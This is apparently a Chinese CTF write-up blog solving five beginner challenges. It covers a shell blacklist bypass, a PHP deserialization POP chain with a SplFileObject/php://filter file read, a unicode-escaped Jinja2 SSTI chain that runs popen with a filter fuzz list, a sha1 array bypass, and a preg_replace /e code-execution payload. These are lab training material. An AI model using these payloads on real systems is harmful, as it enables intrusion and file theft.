这次记载的题目除了web还有pwn方向的题,想着慢慢开始接触pwn。立志于各方向都学会一些。毕竟安全是个很庞大的系统。这次记录的都是一些新手题。从开头慢慢开始吧。个人主方向还是web。
题目解析还是尽我所能把细节阐释到位,尽量做到看完一篇wp就能解决疑惑。在解析过程中把解题逻辑理清晰,从小白视角解析清楚,把细枝末节的问题解释到位。
当然,如果题目解析哪里有不恰当的地方恳请各位师傅指出!
[SWPUCTF 2021 新生赛]nc签到【pwn】
开题。
第一次做pwn方向的题。
做题需要下载题目附件和使用netcat。
附件用记事本打开。
先代码审计一把它的附件内容。
附件主要分为输出部分和检审部分
//输出部分。
print(art) //第一步:先输出一大堆符号 print("My_shell_ProVersion") //第二步:输出字符串“My_shell_ProVersion”
//检审部分。
而黑名单【blacklist】是:
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}'] //cat //ls //空格 //cd //echo //< //${IFS} //其实就是空格的一种平替,平时这个可以用来绕过对于空格的一般过滤
和附件中的代码一样。只要我们写 ls
或者 ls /
就会退出交互模式。
那么要想拿到flag,此时我们此时应该绕过一下关键字。
怎么绕?用''或者\即可。
可以在字母之间加上\和''等无用字符,系统自动跳过识别。
空格可用$IFS$5(数字可以是任意数字,,比如我此时写成 $IFS$8 也可以)替代。
然后tac一下flag即可。
tac$IFS$5flag
拿到flag。
[GDOUCTF 2023]反方向的钟【web】
开题。
这其实还是一道挺简单的反序列化题目。很适合新手用来练手反序列化。
先代码审计解释一下poc链的构造吧。
<?php
highlight_file(__FILE__);
// flag.php
class teacher{
public $name; //第9步:按照第7步所说设置
public $rank; //第9步:按照第7步所说设置
}
class classroom{
public $name;
public $leader; //第8步:设置为new teacher由于第6步写的是 //$this->leader->name == 'ing' and $this->leader->rank =='department'
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False; //第7步:想要返回True,必须使得$this->name == 'one class' and $this->leader->name == 'ing' and $this->leader->rank =='department'
}
else{
return True; //第6步:hahaha方法中找到可以返回True的地方。
}
}
}
class school{
public $department; //第5步:设置这里为 new classroom。根据第4步,只有类classroom中有返回True的地方。
public $headmaster;
public function IPO(){
if($this->headmaster == 'ong'){ //第2步;设置headmaster == 'ong'之后才会执行第1步.
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']); //第1步:找到链源头。
}
}
public function __wakeup(){
if($this->department->hahaha()) { //第4步;此语句为True时执行第3步.
$this->IPO(); //第3步:找到可以返回方法IPO的地方。
}
}
}
//if(isset($_GET['d'])){
//unserialize(base64_decode($_GET['d']));
//}
//构造方法我们一般是从链头开始。
$m=new school();
$m->headmaster='ong';
$m->department=new classroom();
$m->department->name='one class'; //classroom->name = 'one class'
$m->department->leader=new teacher(); //classroom->leader = teacher()
$m->department->leader->name='ing'; //teacher->name = 'ing'
$m->department->leader->rank='department'; //teacher->rank = 'department'
$n=serialize($m); //编码顺序我们按照题目给的从里到外写即可。
$p=base64_encode($n);
echo $p;
?>
这段php代码放进phpstudy_pro里再本地运行一下。或者在线php运行一下都可以。
payload:
http://node5.anna.nssctf.cn:28931/?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30
拿着我们的得到的poc链传参一下。
一开始我是直接GET用了poc链之后
POST处写的是:
a=eval&b=system('ls /');
但是只得到回显“Pretty Good! Ctfer!”
这表明我的poc链在构造上是没有出任何问题的。
因为能回显这一串代表我同样能执行代码
echo new $_POST['a']($_POST['b']);
但是为什么没能回显flag或者是提取根目录呢?
搜了一下其他师傅的wp。
基本上都是用php的内置类SplFileObject来读取文件内容
这里我们来结合payload来浅浅解析一下。
payload:
//POST传参处 a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
SplFileObject:读取文件的PHP原生内置类
原生内置类,顾名思义。就是PHP自带的类。
当我们通过可查找文件的原生类查找到敏感文件时可用此类,来读取敏感文件内的内容
该类同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)
写段php举个例子来解释。
<?php
echo SplFileObject(flag.php)
?>
这种情况下就可以应用于如下示例中。
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b); //等于 echo new $_GET['a']($_GET['b']); 和本题中执行shell的payload有异曲同工之妙。
?>
但是直接加入文件的的话,它只会返回文件的第一行字符,如果想要返回文件全部内容的话须借助php://filter伪协议
所以我们的post传参中payload利用到了filter伪协议。
具体其他可以参考这篇文章:php原生类及其利用
拿着这串编码去base64解密一下:
得到flag。
[安洵杯 2020]Normal SSTI【web】
开题。
按照题目意思。那我们试试访问url/test
得到一个报错界面。仔细看看,被红框圈住的地方很显眼。
打开看见部分码源:
噢噢。这个时候才反应过来,页面最初开始提醒我们应该是访问 url/test?url=xxx
也就是http://node4.anna.nssctf.cn:28859/test?url=xxx
结合源码中render_template_string函数。大概率是一题SSTI题目。虽然题目名字已经说了是SSTI。在这里再说一遍的原因是,在真实比赛中往往是没有提示告诉你是不是SSTI的。也有可能是SQL注入方向,而且SQL注入和SSTI注入二者在原理上很相似。
return render_template_string('<h1>this is your url {}</h1>'.format(url))
这个时候我们反过去访问一下
url/test?url
可以看见当参数url【第一个url指的是原网址,第二个url是参数名】为空时。回显【this is your url】
再试试是否存在SSTI
我们写
url/test?url={{7*7}}
哦吼。回显是【do a real p1g】
为什么会这么回显?
让我们这个时候再来分析一波报错页面下的码源
#报错页面下的码源
for black in url_black_list: #url_black_list 简单翻译就是参数url的黑名单
if black in url: #如果参数url中存在【url_black_list】里面的值
return '<h1>do a real p1g</h1>' #则回显界面【do a real p1g】
url = request.args.get('url') #反之,如果url中没有黑名单的值,则赋值url=页面传参获取到的url。
for black in url_black_list: #同理上面
if black in url:
return '<h1>do a real p1g</h1>' #二次过滤
return render_template_string('<h1>this is your url {}</h1>'.format(url)) #如果url在二次过滤后仍然没有黑名单中的值,则使用render_template_string()函数将url的内容【字符串形式】渲染到web页面上,如果不存在SSTI,则在无过滤情况下类似于{{7*7}}还是会回显【7*7】,反之存在SSTI的话,回显【49】。
那我们先用BP的爆破来fuzz一下。
这里我用平时做题收集到的常见过滤做了一个集合。
【这部分会随着遇到新的过滤持续更新↓】
//ssti-fuzz.txt
.
[
]
_
{
}
{{
}}
(
)
()
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
'
"
+
%20
%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
|attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_app
config
然后看看哪些被过滤了。
1.确定好fuzz位。
2.载入ssti-fuzz.txt文本【ssti-fuzz库】后【开始攻击】
3.分析fuzz过后的表单。具体区别看回显【长度】
在这个fuzz测试中。红框圈住的部分长度均为【176】,回显均是【do a real p1g】。其【有效载荷】部分都是被ban的。
绿框圈住的部分长度均为【181】,回显均是【this is your url xxx】(xxx就是有效载荷的内容)。其【有效载荷】部分都是可以使用的。
蓝框圈住的部分【其实是空】长度为【180】,回显应该是【this is your url】。其【有效载荷】是ok的。
这就意味着:
//被ban清单。
.
[
]
_
{{
{%if
{%endif
'
"
+
%20
%2b
request
args
我们预设payload是:
//【还没换成过滤后的payload】三种任一都可以。
{{lipsum.__globals__.get("os").popen("tac /flag").read()}} //1
{{config.__class__.__init__.__globals__['os'].popen('tac /flag').read()}} //2
{{config.__class__.__init__.__globals__.get("os").popen('tac /flag').read()}} //3
随便选1来写成最终payload
//过滤替换一览表 {{}} == {%print%} . == |attr("") _ == \u005f //unicode编码绕过
这里提供一个python脚本用来跑unicode编码用
#python_for_unicode_encode.
class_name = input("需要unicode加密的内容:")
unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
print(unicode_class_name)
//示例 url/test?url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%} //=={{"".__class__}}
payload:
//step1:找os类 url/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%} 【{%print(lipsum.__globals__)%}】 //step2:利用os模块中popen函数执行命令查看根目录 url/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%} 【{%print(lipsum.__globals__.get("os").popen("ls /").read())%}】 //step3:获取flag url/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0074\u0061\u0063\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%} 【{%print(lipsum.__globals__.get("os").popen("tac /flag").read())%}】
![](https://i-blog.csdnimg.cn/direct/791204f25a7e4b91880220228da02487.png)
![](https://i-blog.csdnimg.cn/direct/35c0e02e7af7427585c9c1967e69deb3.png)
[极客大挑战 2020]welcome 【web】
开题。
页面开局是空白的。
dirsearch扫目录也没扫到有用的路由。
访问url/index.php回显也是空白。
码源也什么也没有
去看看题目提示。
提示1中另外一种传参方式?POST?
还确实是用POST传参来得到界面。
我们先代码审计一下:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed"); //如果不用POST传参方式访问页面。则回显错误405
exit();
} else { //如果是POST传参访问,则启用else模块代码。
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__); //POST传参如果没有roam1和roam2则显示码源内容。
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); //POST传参同时有roam1和roam2,且二者值不等,sha1值强相等时,可看phpinfo(),结合题目提示3,flag的线索就在phpinfo中
}
}
payload:
roam1[]=1&roam2[]=4 //这里我们用数组绕过。或者找一对强碰撞相等的哈希值使其相等即可。
好像是没有直接的flag的。
只有一个可疑文件。且仔细看这个文件就在当前目录下。
/var/www/html/f1444aagggg.php 和 index.php同在html目录下。
【意味着不需要目录穿越去访问。】
既然phpinfo()里找不到$FLAG.
那我们去url/f1444aagggg.php看看什么情况。
????嗯???
实在没思路了。看别的师傅说用BP拦截再发包,flag藏header里。
虽然难找,但确实又提供了一个新的出题思路给我。很有趣。
[BJDCTF 2020]ZJCTF,不过如此【web】
开题。
先代码审计一下。
<?php
error_reporting(0); //不会出现报错信息。如果想要出现报错信息,将‘0’改‘1’
$text = $_GET["text"]; //GET传参,参数名为text;
$file = $_GET["file"]; //GET传参,参数名为file;
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){//检查是否存在参数text并且text在file_get_contents函数读取下要等于“I have a dream”
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; //如果第一个if执行成功则会回显界面【I have a dream】
if(preg_match("/flag/",$file)){ //参数file中不能出现“flag”
die("Not now!");
}
include($file); //next.php //题目提示告诉我们【next.php】,结合代码块【include($file);】我们用php可用伪协议查看。
}
else{
highlight_file(__FILE__); //如果以上均不成立,高亮本文件代码。
}
?>
要拿flag。我们要绕过两个if。
而且要先要去看next.php。【根据题目页面码源提示。】
绕第一个IF语句:
这里有两种方法,均是利用php伪协议。
法一:php://input
原理:file_get_contents()是从文件中读取数据。而php://input 是个可以访问请求的原始数据的只读流。通过它可以读取没有处理过的POST数据,从而为file_get_contents()提供数据源。
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
【这里个人建议用bp来传参。我在做的时候hackbar传POST中的i have a dream好像传不了,不知道为什么。】
法二:data://text/plain
file_get_contents函数是把文件读入一个字符串中。‘r’:只读模式。
data伪协议,结合一下示例说明一下。
//example_data伪协议的用法。 //data://text/plain, file=data://text/plain,<?php%20phpinfo();?> //data://text/plain;base64, file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b //这里是base64加密后的<?php phpinfo();?>
通过file和php://filter结合读next.php文件和法一一样。
故payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码一下这段next.php
我们来浅浅审计一下。
//base64_decode_of_next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei', //preg_replace()在/e的匹配模式下,会将替换后的字符串作为php代码执行
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {//将GET传入的键【$re】和值【$str】成对遍历后放进函数comlpex()
echo complex($re, $str). "\n";
}
function getFlag(){ //此函数有执行eval函数权限。应该是最终目标。
@eval($_GET['cmd']);
}
这个正则表达式之前我也不是很熟悉。搜索一番下我来结合其本身语法和具体实例讲解一下。
//本身语法 preg_replace($pattern , $replacement , $subject); 其中 $pattern为正则表达式 $replacement为替换字符串 $subject 为要搜索替换的目标字符串或字符串数组 但。 此函数存在一个特点,正则表达式$pattern以/e结尾时$replacement的值会被作为php函数执行。 也就可以被执行恶意代码。 //具体实例1 preg_replace (‘/test/e’ , "phpinfo();" , "test" ) 即test此时因为以/e结尾。同时被替换成phpinfo(); 所以执行phpinfo(); //具体实例2 preg_replace('/(\S)(\S)/i','strtolower("\\1")', "123Abc") \S表示匹配任何非空字符。 ()表示匹配的子串。 strtolower("\1")有点特别,通过查阅资料\1表示取出正则匹配后的第一个子匹配中的第一项。 怎么理解?我分3步来解释。 ↓ //第一步: php对123Abc进行匹配,正则表达式为(\S)(\S),匹配任意2个非空字符 第一下会匹配"12"但只取第一个,即“1” //第二步: 结果就正则首先匹配到的是[’1‘ ,’2‘],然后将其替换成strtolower("\1"),又因为\1会匹配第一个子串,所以strtolower("\1")就变成了strtolower(“1”) //第三步: 得到strtolower(“1”)strtolower(“3”)strtolower(“b”)
题目中其实也是strtolower(),那么,如何让strtolower("")里面的内容当作函数被执行呢?
PHP有个知识点:
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
而在本题中。代码块是这样的:
(' . $re . ') //单引号,所以$re不会被解析成变量。 如果是 (" . $re . ") //双引号,$re会被解析成变量。
也就是说我们需要构造一个变量来达到执行命令的目的。
我们的payload可以写成:
/next.php?id=1&\S*=${getFlag()}&cmd=system('ls /');
//这里id随便设置,cmd写完RCE后要记得分号闭合。
// \S 匹配任意非空白字符(空白字符如回车、换行、分页等 )
// * 贪婪模式,匹配任意次的最大长度。
但不能写成这样:
////如果没有GET传参'.' → '_'机制情况下,可以这么写payload:
/next.php?id=1&\.*=${getFlag()}&cmd=system('ls /');
//. 匹配任意字符但不包含回车换行
所以我们用 ’\S‘ 来替换 ’.‘ ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true,true在bool值情况下就是1,同理False为0)
/next.php?id=1&\S*=${getFlag()}&cmd=system('cat /flag');
但是
/next.php?id=1&\S*=${getFlag()}&cmd=system('cat /flag');
这个payload看不了。估计是触发到过滤机制了。
换个payload看phpinfo。
/next.php?id=1&\S*=${getFlag()}&cmd=system(phpinfo());
ok。拿到flag了。这道题我认为难点就在base64解析之后的那串php代码中。也算长见识了。